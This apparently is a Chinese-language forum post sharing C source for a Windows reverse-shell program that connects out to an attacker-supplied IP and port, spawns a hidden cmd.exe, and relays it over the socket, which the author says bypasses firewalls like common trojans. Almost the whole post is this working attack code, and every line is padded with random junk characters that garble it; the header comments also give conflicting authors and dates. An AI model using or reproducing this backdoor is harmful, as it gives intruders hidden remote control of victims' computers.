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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 $[P>nRhW  
s% ~p?_P   
/* ============================== q7% eLJ  
Rebound port in Windows NT 5CuK\<  
By wind,2006/7 uH-*`*  
===============================*/ T4{&@b 0*  
#include CfnRcnms  
#include eX>X=Ku  
0yxMIX  
#pragma comment(lib,"wsock32.lib") 84*Fal~Som  
tr\Vr;zd  
void OutputShell(); !j.jvI%e;  
SOCKET sClient; ;.r >  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; #Rdq^TGMi;  
weiqt *,8  
void main(int argc,char **argv) _"`U.!3*  
{ v#`Wf}G  
WSADATA stWsaData; {1 94u %'  
int nRet; x 1"ikp}  
SOCKADDR_IN stSaiClient,stSaiServer; = pS\gLQu  
4GRmo"S  
if(argc != 3) ~f2zMTI|  
{ gaJIc^O  
printf("Useage:\n\rRebound DestIP DestPort\n"); M('cG  
return; l<$c.GgFd  
} V ;)q?ZHg  
:22IY> p  
WSAStartup(MAKEWORD(2,2),&stWsaData); 2;`"B|-T  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); oa?eK  
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stSaiClient.sin_family = AF_INET; ]4>[y?k34  
stSaiClient.sin_port = htons(0); 7o+!Gts]  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); =7mR#3yt  
HYPFe|t/  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) +B@NSEy/+  
{ S!n 9A  
printf("Bind Socket Failed!\n"); VBssn]w  
return; 3Ecm Nwr  
} Cs %-f"  
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stSaiServer.sin_family = AF_INET; EhybaRy;C  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ?fEX&t,'  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 2eu`X2IBcT  
[hS?d.D   
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) QW f)5S  
{ Rh%/xG#k  
printf("Connect Error!"); aM9St!i  
return; _|Ml6;1aZ  
} L&'0d$Tg8  
OutputShell(); VmkYl$WZo  
} 6mBX{-Z[  
MOG[cp  
void OutputShell() K0\a+6kh  
{ Wx/!My u  
char szBuff[1024]; WJU` g  
SECURITY_ATTRIBUTES stSecurityAttributes; j#U?'g  
OSVERSIONINFO stOsversionInfo; Y(SgfWeK@1  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; tGd<{nF%2  
STARTUPINFO stStartupInfo; |b/J$.R  
char *szShell; IR%a+;Xs  
PROCESS_INFORMATION stProcessInformation; 9kP!O_  
unsigned long lBytesRead; 7-ba-[t#A  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); }FMl4 _}u  
IO xj$?%l  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); -& kQlr  
stSecurityAttributes.lpSecurityDescriptor = 0; KF'H|)!K  
stSecurityAttributes.bInheritHandle = TRUE; *4qsM,t  
-H`G6oMOO  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c)SSi@< cv  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); :*&wnQMKR  
im+2)9f  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); _'H<zZo  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; S53%*7K.  
stStartupInfo.wShowWindow = SW_HIDE; ["Q8`vV0WO  
stStartupInfo.hStdInput = hReadPipe; J5Fg]O*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; '{cN~A2b4  
dtM@iDljj  
GetVersionEx(&stOsversionInfo); #G.3a]p}"  
2a=WT`xf ?  
switch(stOsversionInfo.dwPlatformId) 7 Nwi\#o  
{ 0v0Y( Mo@  
case 1: vEzzdDwi6  
szShell = "command.com"; jD^L<  
break; 9v cUo?/  
default: |k/;.  
szShell = "cmd.exe"; ]QT0sGl  
break; ;*W]]4fy  
} sp**Sg)  
g@Ni!U"_c  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ITc/aX  
aG}9Z8D  
send(sClient,szMsg,77,0); Pz|qy,  
while(1) }h_Op7.5D  
{ @?B=8VHR  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); EkSTN  
if(lBytesRead) Lf0Hz")  
{ y-n\;d>[(  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); }aNiO85  
send(sClient,szBuff,lBytesRead,0); 38q@4U=aiw  
} ,uKvE`H  
else &{]%=stI  
{ @su{Uno8/  
lBytesRead=recv(sClient,szBuff,1024,0); qfSoF|  
if(lBytesRead<=0) break; fSqbGoIQ  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 3Gp4%UT&  
} w ^<Y5K  
} )i_FU~ LRq  
YRp\#pVnZ  
return; J82{PfQ"  
}
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